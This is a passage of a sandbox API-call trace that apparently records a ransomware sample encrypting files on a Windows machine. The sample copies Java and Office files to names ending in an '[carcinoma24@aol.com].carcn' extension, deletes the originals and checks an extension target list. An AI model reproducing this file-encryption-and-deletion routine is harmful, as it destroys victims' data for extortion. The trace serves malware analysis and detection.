files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 0x20 [0269.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0269.190] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0269.190] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.190] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.190] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0269.191] GetLastError () returned 0x0 [0269.191] ReadFile (in: hFile=0x54c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x4ba, lpOverlapped=0x0) returned 1 [0269.783] WriteFile (in: hFile=0x43c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x4c0, lpOverlapped=0x0) returned 1 [0269.795] ReadFile (in: hFile=0x54c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0269.796] WriteFile (in: hFile=0x43c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xf4, lpOverlapped=0x0) returned 1 [0269.796] SetEndOfFile (hFile=0x43c) returned 1 [0269.798] CloseHandle (hObject=0x43c) returned 1 [0269.799] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.799] SetEndOfFile (hFile=0x54c) returned 1 [0270.216] CloseHandle (hObject=0x54c) returned 1 [0270.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0270.346] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 1 [0270.347] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0270.347] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0270.347] lstrlenW (lpString=".doc") returned 4 [0270.347] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0270.347] lstrlenW (lpString=".docx") returned 5 [0270.347] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0270.347] lstrlenW (lpString=".pdf") returned 4 [0270.347] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0270.347] lstrlenW (lpString=".xls") returned 4 [0270.347] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0270.347] lstrlenW (lpString=".xlsx") returned 5 [0270.348] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0270.348] lstrlenW (lpString=".ppt") returned 4 [0270.348] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0270.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0270.348] lstrlenW (lpString=".zip") returned 4 [0270.348] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0270.348] lstrlenW (lpString=".rar") returned 4 [0270.348] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0270.348] lstrlenW (lpString=".bz2") returned 4 [0270.348] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0270.348] lstrlenW (lpString=".7z") returned 3 [0270.348] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0270.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0270.348] lstrlenW (lpString=".dbf") returned 4 [0270.348] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0270.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0270.348] lstrlenW (lpString=".1cd") returned 4 [0270.348] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0270.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0270.348] lstrlenW (lpString=".jpg") returned 4 [0270.348] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0270.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0270.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0270.348] lstrlenW (lpString=".doc") returned 4 [0270.348] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0270.348] lstrlenW (lpString=".docx") returned 5 [0270.349] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0270.349] lstrlenW (lpString=".pdf") returned 4 [0270.349] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0270.349] lstrlenW (lpString=".xls") returned 4 [0270.349] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0270.349] lstrlenW (lpString=".xlsx") returned 5 [0270.349] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0270.349] lstrlenW (lpString=".ppt") returned 4 [0270.349] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0270.349] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0270.349] lstrlenW (lpString=".zip") returned 4 [0270.349] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0270.349] lstrlenW (lpString=".rar") returned 4 [0270.349] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0270.349] lstrlenW (lpString=".bz2") returned 4 [0270.349] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0270.349] lstrlenW (lpString=".7z") returned 3 [0270.349] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0270.349] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0270.349] lstrlenW (lpString=".dbf") returned 4 [0270.349] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0270.349] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0270.349] lstrlenW (lpString=".1cd") returned 4 [0270.349] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0270.349] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0270.349] lstrlenW (lpString=".jpg") returned 4 [0270.349] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0270.350] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0270.361] lstrlenW (lpString="FALL_01.MID") returned 11 [0270.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0270.466] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=4846) returned 1 [0270.466] CloseHandle (hObject=0x554) returned 1 [0270.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid")) returned 0x220 [0270.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0270.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0270.468] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.468] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0270.469] GetLastError () returned 0x0 [0270.469] ReadFile (in: hFile=0x554, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x12ee, lpOverlapped=0x0) returned 1 [0270.483] WriteFile (in: hFile=0x558, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x12f0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x12f0, lpOverlapped=0x0) returned 1 [0270.484] ReadFile (in: hFile=0x554, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0270.484] WriteFile (in: hFile=0x558, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xea, lpOverlapped=0x0) returned 1 [0270.484] SetEndOfFile (hFile=0x558) returned 1 [0270.484] CloseHandle (hObject=0x558) returned 1 [0270.485] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.485] SetEndOfFile (hFile=0x554) returned 1 [0270.489] CloseHandle (hObject=0x554) returned 1 [0270.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0270.490] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid")) returned 1 [0270.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0270.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0270.491] lstrlenW (lpString=".doc") returned 4 [0270.491] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0270.491] lstrlenW (lpString=".docx") returned 5 [0270.491] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0270.491] lstrlenW (lpString=".pdf") returned 4 [0270.491] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0270.491] lstrlenW (lpString=".xls") returned 4 [0270.491] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0270.491] lstrlenW (lpString=".xlsx") returned 5 [0270.491] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0270.491] lstrlenW (lpString=".ppt") returned 4 [0270.491] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0270.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0270.492] lstrlenW (lpString=".zip") returned 4 [0270.492] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0270.492] lstrlenW (lpString=".rar") returned 4 [0270.492] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0270.492] lstrlenW (lpString=".bz2") returned 4 [0270.492] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0270.492] lstrlenW (lpString=".7z") returned 3 [0270.492] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0270.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0270.492] lstrlenW (lpString=".dbf") returned 4 [0270.492] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0270.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0270.492] lstrlenW (lpString=".1cd") returned 4 [0270.492] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0270.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0270.492] lstrlenW (lpString=".jpg") returned 4 [0270.492] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0270.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0270.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0270.492] lstrlenW (lpString=".doc") returned 4 [0270.492] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0270.492] lstrlenW (lpString=".docx") returned 5 [0270.492] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0270.492] lstrlenW (lpString=".pdf") returned 4 [0270.493] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0270.493] lstrlenW (lpString=".xls") returned 4 [0270.493] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0270.493] lstrlenW (lpString=".xlsx") returned 5 [0270.493] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0270.493] lstrlenW (lpString=".ppt") returned 4 [0270.493] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0270.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0270.493] lstrlenW (lpString=".zip") returned 4 [0270.493] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0270.493] lstrlenW (lpString=".rar") returned 4 [0270.493] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0270.493] lstrlenW (lpString=".bz2") returned 4 [0270.493] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0270.493] lstrlenW (lpString=".7z") returned 3 [0270.493] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0270.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0270.493] lstrlenW (lpString=".dbf") returned 4 [0270.493] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0270.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0270.493] lstrlenW (lpString=".1cd") returned 4 [0270.493] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0270.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0270.493] lstrlenW (lpString=".jpg") returned 4 [0270.494] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0270.494] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0270.494] lstrlenW (lpString="FINCL_01.MID") returned 12 [0270.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0270.495] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=12981) returned 1 [0270.495] CloseHandle (hObject=0x554) returned 1 [0270.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid")) returned 0x220 [0270.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0270.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0270.496] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.496] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0270.498] GetLastError () returned 0x0 [0270.498] ReadFile (in: hFile=0x554, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x32b5, lpOverlapped=0x0) returned 1 [0270.642] WriteFile (in: hFile=0x558, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x32c0, lpOverlapped=0x0) returned 1 [0270.643] ReadFile (in: hFile=0x554, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0270.643] WriteFile (in: hFile=0x558, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0270.643] SetEndOfFile (hFile=0x558) returned 1 [0270.668] CloseHandle (hObject=0x558) returned 1 [0270.668] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.668] SetEndOfFile (hFile=0x554) returned 1 [0270.675] CloseHandle (hObject=0x554) returned 1 [0270.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0270.676] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid")) returned 1 [0270.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0270.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0270.676] lstrlenW (lpString=".doc") returned 4 [0270.676] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0270.676] lstrlenW (lpString=".docx") returned 5 [0270.676] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0270.676] lstrlenW (lpString=".pdf") returned 4 [0270.676] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0270.677] lstrlenW (lpString=".xls") returned 4 [0270.677] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0270.677] lstrlenW (lpString=".xlsx") returned 5 [0270.677] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0270.677] lstrlenW (lpString=".ppt") returned 4 [0270.677] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0270.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0270.677] lstrlenW (lpString=".zip") returned 4 [0270.677] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0270.677] lstrlenW (lpString=".rar") returned 4 [0270.677] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0270.677] lstrlenW (lpString=".bz2") returned 4 [0270.677] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0270.677] lstrlenW (lpString=".7z") returned 3 [0270.677] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0270.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0270.677] lstrlenW (lpString=".dbf") returned 4 [0270.677] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0270.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0270.677] lstrlenW (lpString=".1cd") returned 4 [0270.677] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0270.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0270.677] lstrlenW (lpString=".jpg") returned 4 [0270.677] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0270.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0270.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0270.677] lstrlenW (lpString=".doc") returned 4 [0270.677] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0270.678] lstrlenW (lpString=".docx") returned 5 [0270.678] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0270.678] lstrlenW (lpString=".pdf") returned 4 [0270.678] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0270.678] lstrlenW (lpString=".xls") returned 4 [0270.678] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0270.678] lstrlenW (lpString=".xlsx") returned 5 [0270.678] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0270.678] lstrlenW (lpString=".ppt") returned 4 [0270.678] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0270.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0270.678] lstrlenW (lpString=".zip") returned 4 [0270.678] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0270.678] lstrlenW (lpString=".rar") returned 4 [0270.678] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0270.678] lstrlenW (lpString=".bz2") returned 4 [0270.678] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0270.678] lstrlenW (lpString=".7z") returned 3 [0270.678] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0270.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0270.678] lstrlenW (lpString=".dbf") returned 4 [0270.678] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0270.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0270.678] lstrlenW (lpString=".1cd") returned 4 [0270.678] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0270.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0270.678] lstrlenW (lpString=".jpg") returned 4 [0270.678] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0270.679] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0270.679] lstrlenW (lpString="FINCL_02.MID") returned 12 [0270.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0270.680] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=9318) returned 1 [0270.681] CloseHandle (hObject=0x554) returned 1 [0270.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid")) returned 0x220 [0270.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0270.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0270.681] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.681] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.681] CreateFileW 